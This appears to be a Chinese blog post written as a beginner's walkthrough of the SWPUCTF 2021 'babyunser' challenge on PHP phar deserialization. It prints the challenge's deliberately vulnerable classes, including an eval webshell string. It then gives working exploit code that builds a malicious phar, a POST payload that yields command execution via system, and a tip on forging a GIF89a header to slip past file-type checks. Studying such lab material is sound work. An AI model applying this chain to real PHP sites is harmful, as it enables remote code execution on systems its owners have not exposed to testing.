新手大白话 [SWPUCTF 2021 新生赛]babyunser phar反序列化

进入赛题网站第一眼以为是文件上传,尝试没效果,看题目标签为phar反序列化,这类也就是文件包含php伪协议的一种,实质上就是上传phar文件,利用网页给予的文件读取页面利用phar伪协议进行读取来触发一句话木马,好现在开始做题。(一点也不新生)

利用查看文件来收集信息,查看read.php

点击查看代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>aa的文件查看器</title>
    <style>
        .search_form{
            width:602px;
            height:42px;
        }

        /*左边输入框设置样式*/
        .input_text{
            width:400px;
            height: 40px;
            border:1px solid green;
            /*清除掉默认的padding*/
            padding:0px;
            /*提示字首行缩进*/
            text-indent: 10px;

            /*去掉蓝色高亮框*/
            outline: none;

            /*用浮动解决内联元素错位及小间距的问题*/
            float:left;
        }

        .input_sub{
            width:100px;
            height: 42px;
            background: green;
            text-align:center;
            /*去掉submit按钮默认边框*/
            border:0px;
            /*改成右浮动也是可以的*/
            float:left;
            color:white;/*搜索的字体颜色为白色*/
            cursor:pointer;/*鼠标变为小手*/
        }

        .file_content{
            width:500px;
            height: 242px;
        }
    </style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
    <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    <input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

可以看到先是new了一个zz对象,然后触发了getfile方法,可能是过滤,同时在上边看到包含了class.php,查看class.php。
点击查看代码
<?php
class aa{
    public $name; // zz

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);  // 触发__tostring
    }
}

class ff{
    private $content;
    public $func;  //system

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']); // 一眼注入点,可以利用system
    }
}

class zz{ 
    public $filename;  // ff
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;  // 触发ff的__get
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);  // method=write 触发类中的write方法
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}
看到这也就能确定是反序列化了,好构造pop链。aa __destruct()->zz __toString() -> zz write() -> ff->__get()-->xx 第一次构造时,我没有加入xx,因为我发现它没有什么用处啊,后来发现没有xx是错的,不清楚为什么,大佬wp解释为目标是ff类中的__get方法,该方法在类外调用private成员属性时会触发,以此将content为访问成员构造xx类对象触发该方法,然后利用zz类方法__tostring中method和var两个可控变量构造write函数进行访问content成员,再通过__get方法中func函数加cmd变量实现命令执行,不是很懂。 最终payload:
点击查看代码
<?php
class aa{
    public $name;
}
class ff{
    private $content;
    public $func="system";
    public function __construct(){
        $this->content=new xx();
    }
}
class zz{
    public $filename;
    public $content;
}
class xx{
    public $name;
    public $arg;
}
$a=new aa();
$a->name=new zz();
$a->name->filename=new ff();

$phar = new phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a); 
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>
在自己虚拟机上运行网页访问,会生成exp.phar,将生成的文件通过上传点进行上传,会返回文件地址,回到查看文件页面进行查看,利用burp抓包,因为构造的pop链中有两个参数可控也就是method与content,所以最终payload
点击查看代码
post: file=XXXXXXXX(你的文件路径)&method=write&var=content&cmd=ls
最后提一嘴phar的结构:
点击查看代码
a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>。  开头的xxx就是可以构造虚假文件头进行检测绕过,例GIF89a
manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
contents是被压缩的内容。
signature签名,放在文件末尾。
posted @ 2024-04-21 13:10  jockerliu  阅读(166)  评论(0编辑  收藏  举报